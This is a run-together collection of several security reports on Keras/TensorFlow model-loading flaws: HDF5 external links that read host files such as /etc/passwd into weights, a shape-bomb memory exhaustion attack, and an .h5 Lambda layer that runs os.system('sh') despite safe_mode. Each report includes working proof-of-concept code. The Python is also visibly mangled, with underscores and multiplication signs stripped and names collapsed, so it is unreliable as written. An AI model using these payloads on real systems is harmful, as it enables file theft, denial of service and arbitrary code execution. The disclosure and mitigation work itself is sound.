Summary
TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct loadweights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).
Impact
- Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path) - What leaks: Contents of any readable file on the host (e.g., /etc/hosts, /etc/passwd, /etc/hostname). - Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts. - Prerequisites: Victim executes model.loadweights() or tf.keras.models.loadmodel() on an attacker-supplied HDF5 weights file or .keras archive. - Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.
Attacker Scenario
1. Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report. 2. Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., /home/<user>/.ssh/idrsa, /etc/shadow if readable, configuration files containing API keys, etc.). 3. Execution: The victim calls model.loadweights() (or tf.keras.models.loadmodel() for .keras archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors. 4. Exfiltration vectors: - Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data. - Re-saving the model (weights or .keras archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry. - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.
Additional Preconditions
- The target file must exist and be readable by the process running TensorFlow/Keras. - Safe mode (loadmodel(..., safemode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization. - Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to /etc/hostname) can reduce impact, but common defaults expose a broad set of host files.
Environment Used for Verification (2025‑10‑19)
- OS: Debian-based container running Python 3.11. - Packages (installed via python -m pip install -U ...): - tensorflow==2.20.0 - keras==3.11.3 - h5py==3.15.1 - numpy==2.3.4 - Tooling: strace (for syscall tracing), pip upgraded to latest before installs. - Debug flags: PYTHONFAULTHANDLER=1, TFCPPMINLOGLEVEL=0 during instrumentation to capture verbose logs if needed.
Reproduction Instructions (Weights-Only PoC)
1. Ensure the environment above (or equivalent) is prepared. 2. Save the following script as weightsexternaldemo.py:
python from future import annotations import os from pathlib import Path import numpy as np import tensorflow as tf import h5py
def choosehostfile() -> Path: candidates = [ os.environ.get("KFLIPATH"), "/etc/machine-id", "/etc/hostname", "/proc/sys/kernel/hostname", "/etc/passwd", ] for candidate in candidates: if not candidate: continue path = Path(candidate) if path.exists() and path.isfile(): return path raise FileNotFoundError("set KFLIPATH to a readable file")
def buildmodel(units: int) -> tf.keras.Model: model = tf.keras.Sequential([ tf.keras.layers.Input(shape=(1,), name="input"), tf.keras.layers.Dense(units, activation=None, usebias=True, name="dense"), ]) model(tf.zeros((1, 1))) # build weights return model
def findbiasdataset(h5file: h5py.File) -> str: matches: list[str] = [] def visit(name: str, obj) -> None: if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"): matches.append(name) h5file.visititems(visit) if not matches: raise RuntimeError("bias dataset not found") return matches[0]
def rewritebiasexternal(path: Path, hostfile: Path) -> tuple[int, int]: with h5py.File(path, "r+") as h5file: biaspath = findbiasdataset(h5file) parent = h5file[str(Path(biaspath).parent)] dsetname = Path(biaspath).name del parent[dsetname] maxbytes = 128 size = hostfile.stat().stsize nbytes = min(size, maxbytes) nbytes = (nbytes // 4) 4 or 32 # multiple of 4 for float32 packing units = max(1, nbytes // 4) parent.createdataset( dsetname, shape=(units,), dtype="float32", external=[(hostfile.asposix(), 0, nbytes)], ) return units, nbytes
def floatstoascii(arr: np.ndarray) -> tuple[str, str]: raw = np.ascontiguousarray(arr).view(np.uint8) asciipreview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore") hexpreview = raw[:64].tobytes().hex() return asciipreview, hexpreview
def main() -> None: hostfile = choosehostfile() model = buildmodel(units=32)
weightspath = Path("weightsdemo.h5") model.saveweights(weightspath.asposix())
units, nbytes = rewritebiasexternal(weightspath, hostfile) print("secrettextsource", hostfile) print("units", units, "bytesmapped", nbytes)
model.loadweights(weightspath.asposix()) output = model.predict(tf.zeros((1, 1)), verbose=0)[0] asciipreview, hexpreview = floatstoascii(output) print("recoveredascii", asciipreview) print("recoveredhex64", hexpreview)
saved = Path("weightsdemoresaved.h5") model.saveweights(saved.asposix()) print("resavedweights", saved.asposix())
if name == "main": main()
3. Execute python weightsexternaldemo.py. 4. Observe: - secrettextsource prints the chosen host file path. - recoveredascii/recoveredhex64 display the file contents recovered via model inference. - A re-saved weights file contains the leaked bytes inside the artifact.
Expanded Validation (Multiple Attack Scenarios)
The following test harness generalises the attack for multiple HDF5 constructs:
- Build a minimal feed-forward model and baseline weights. - Create three malicious variants: 1. External storage dataset: dataset references /etc/hosts. 2. External link: ExternalLink pointing at /etc/passwd. 3. Indirect link: external storage referencing a helper HDF5 that, in turn, refers to /etc/hostname. - Run each scenario under strace -f -e trace=open,openat,read while calling model.loadweights(...). - Post-process traces and weight tensors to show the exact bytes loaded.
Relevant syscall excerpts captured during the run:
openat(ATFDCWD, "/etc/hosts", ORDONLY|OCLOEXEC) = 7 read(7, "127.0.0.1 localhost\n", 64) = 21 ... openat(ATFDCWD, "/etc/passwd", ORDONLY|OCLOEXEC) = 9 read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32 ... openat(ATFDCWD, "/etc/hostname", ORDONLY|OCLOEXEC) = 8 read(8, "example-host\n", 64) = 13
The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.
Recommended Product Fix
1. Default-deny external datasets/links: - Inspect creation property lists (getexternalcount) before materialising tensors. - Resolve SoftLink / ExternalLink targets and block if they leave the HDF5 file. 2. Provide an escape hatch: - Offer an explicit allowexternaldata=True flag or environment variable for advanced users who truly rely on HDF5 external storage. 3. Documentation: - Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default. 4. Regression coverage: - Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.
Workarounds
- Avoid loading untrusted HDF5 weight files. - Pre-scan weight files using h5py to detect external datasets or links before invoking Keras loaders. - Prefer alternate formats (e.g., NumPy .npz) that lack external reference capabilities when exchanging weights. - If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.
Timeline (UTC)
- 2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure. - 2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented safekerashdf5.py prototype guard.
Summary Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50000000, 50000000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading, Keras executes: python result[key] = value[()] # loads entire dataset into memory value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines. Proof of Concept // PoC.py import zipfile import io import h5py import numpy as np from keras.saving import KerasFileEditor
Create a malicious .keras model containing a massive HDF5 shape bomb def createmaliciouskeras(path="bomb.keras"): hdf5bytes = io.BytesIO()
# Create an HDF5 file with a huge declared dataset shape with h5py.File(hdf5bytes, "w") as f: d = f.createdataset( "payload", shape=(50000000, 50000000), # Extremely large shape → petabytes on load dtype="float32", compression="gzip", compressionopts=9 ) # Write minimal data so the file stays very small d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)
hdf5bytes.seek(0)
# Build a valid .keras archive structure with zipfile.ZipFile(path, "w", zipfile.ZIPDEFLATED) as z: z.writestr("config.json", "{}") z.writestr("metadata.json", "{}") z.writestr("model.weights.h5", hdf5bytes.getvalue())
Generate the malicious model file createmaliciouskeras()
Trigger the DoS vulnerability when Keras loads the malicious file KerasFileEditor("bomb.keras") Expected Result numpy.core.exceptions.ArrayMemoryError: Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000) This crash occurs before any actual model processing, confirming the Denial-of-Service impact. Impact This vulnerability allows an attacker to crash any system that loads a malicious .keras model file.
The attacker can:
- Cause immediate memory exhaustion (8+ PiB allocation attempts) - Crash TensorFlow / Python interpreter - Kill Jupyter kernels - Break automated model-upload pipelines - Crash MLOps servers that process user models - Deny service to shared GPU/CPU environments
If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector. Additional PoC Evidence (Video Demonstration) Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.
PoC Video (Google Drive): PoC Video
Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files Vector: Malicious metadata causing extreme tensor shape inflation Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services
Demonstration: The PoC video shows the crash occurring on Google Colab. Loading the malicious model consumed all system RAM and repeatedly terminated the runtime. Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests. With larger payloads, this would instantly exhaust resources in real production pipelines.
Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-c9rc-mg46-23w3. This link is maintained to preserve external references.
Original Description A safe mode bypass vulnerability in the Model.loadmodel method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
Arbitrary Code Execution in Keras
Keras versions prior to 3.11.0 allow for arbitrary code execution when loading a crafted .keras model archive, even when safemode=True.
The issue arises because the archive’s config.json is parsed before layer deserialization. This can invoke keras.config.enableunsafedeserialization(), effectively disabling safe mode from within the loading process itself. An attacker can place this call first in the archive and then include a Lambda layer whose function is deserialized from a pickle, leading to the execution of attacker-controlled Python code as soon as a victim loads the model file.
Exploitation requires a user to open an untrusted model; no additional privileges are needed. The fix in version 3.11.0 enforces safe-mode semantics before reading any user-controlled configuration and prevents the toggling of unsafe deserialization via the config file.
Affected versions: < 3.11.0 Patched version: 3.11.0
It is recommended to upgrade to version 3.11.0 or later and to avoid opening untrusted model files.
Note: This report has already been discussed with the Google OSS VRP team, who recommended that I reach out directly to the Keras team. I’ve chosen to do so privately rather than opening a public issue, due to the potential security implications. I also attempted to use the email address listed in your SECURITY.md, but received no response.
---
Summary
When a model in the .h5 (or .hdf5) format is loaded using the Keras Model.loadmodel method, the safemode=True setting is silently ignored without any warning or error. This allows an attacker to execute arbitrary code on the victim’s machine with the same privileges as the Keras application. This report is specific to the .h5/.hdf5 file format. The attack works regardless of the other parameters passed to loadmodel and does not require any sophisticated technique—.h5 and .hdf5 files are simply not checked for unsafe code execution.
From this point on, I will refer only to the .h5 file format, though everything equally applies to .hdf5.
Details
Intended behaviour According to the official Keras documentation, safemode is defined as:
safemode: Boolean, whether to disallow unsafe lambda deserialization. When safemode=False, loading an object has the potential to trigger arbitrary code execution. This argument is only applicable to the Keras v3 model format. Defaults to True. I understand that the behavior described in this report is somehow intentional, as safemode is only applicable to .keras models.
However, in practice, this behavior is misleading for users who are unaware of the internal Keras implementation. .h5 files can still be loaded seamlessly using loadmodel with safemode=True, and the absence of any warning or error creates a false sense of security. Whether intended or not, I believe silently ignoring a security-related parameter is not the best possible design decision. At a minimum, if safemode cannot be applied to a given file format, an explicit error should be raised to alert the user.
This issue is particularly critical given the widespread use of the .h5 format, despite the introduction of newer formats.
As a small anecdotal test, I asked several of my colleagues what they would expect when loading a .h5 file with safemode=True. None of them expected the setting to be silently ignored, even after reading the documentation. While this is a small sample, all of these colleagues are cybersecurity researchers—experts in binary or ML security—and regular participants in DEF CON finals. I was careful not to give any hints about the vulnerability in our discussion.
Technical Details
Examining the implementation of loadmodel in keras/src/saving/savingapi.py, we can see that the safemode parameter is completely ignored when loading .h5 files. Here's the relevant snippet:
python def loadmodel(filepath, customobjects=None, compile=True, safemode=True): iskeraszip = ... iskerasdir = ... ishf = ...
# Support for remote zip files if ( fileutils.isremotepath(filepath) and not fileutils.isdir(filepath) and not iskeraszip and not ishf ): ...
if iskeraszip or iskerasdir or ishf: ...
if str(filepath).endswith((".h5", ".hdf5")): return legacyh5format.loadmodelfromhdf5( filepath, customobjects=customobjects, compile=compile )
As shown, when the file format is .h5 or .hdf5, the method delegates to legacyh5format.loadmodelfromhdf5, which does not use or check the safemode parameter at all.
Solution
Since the release of the new .keras format, I believe the simplest and most effective way to address this misleading behavior—and to improve security in Keras—is to have the safemode parameter raise an explicit error when safemode=True is used with .h5/.hdf5 files. This error should be clear and informative, explaining that the legacy format does not support safemode and outlining the associated risks of loading such files.
I recognize this fix may have minor backward compatibility considerations.
If you confirm that you're open to this approach, I’d be happy to open a PR that includes the missing check.
PoC
From the attacker’s perspective, creating a malicious .h5 model is as simple as the following:
python import keras
f = lambda x: ( exec("import os; os.system('sh')"), x, )
model = keras.Sequential() model.add(keras.layers.Input(shape=(1,))) model.add(keras.layers.Lambda(f)) model.compile()
keras.saving.savemodel(model, "./provola.h5")
From the victim’s side, triggering code execution is just as simple:
python import keras
model = keras.models.loadmodel("./provola.h5", safemode=True)
That’s all. The exploit occurs during model loading, with no further interaction required. The parameters passed to the method do not mitigate of influence the attack in any way.
As expected, the attacker can substitute the exec(...) call with any payload. Whatever command is used will execute with the same permissions as the Keras application.
Attack scenario
The attacker may distribute a malicious .h5/.hdf5 model on platforms such as Hugging Face, or act as a malicious node in a federated learning environment. The victim only needs to load the model—even with safemode=True that would give the illusion of security. No inference or further action is required, making the threat particularly stealthy and dangerous.
Once the model is loaded, the attacker gains the ability to execute arbitrary code on the victim’s machine with the same privileges as the Keras process. The provided proof-of-concept demonstrates a simple shell spawn, but any payload could be delivered this way.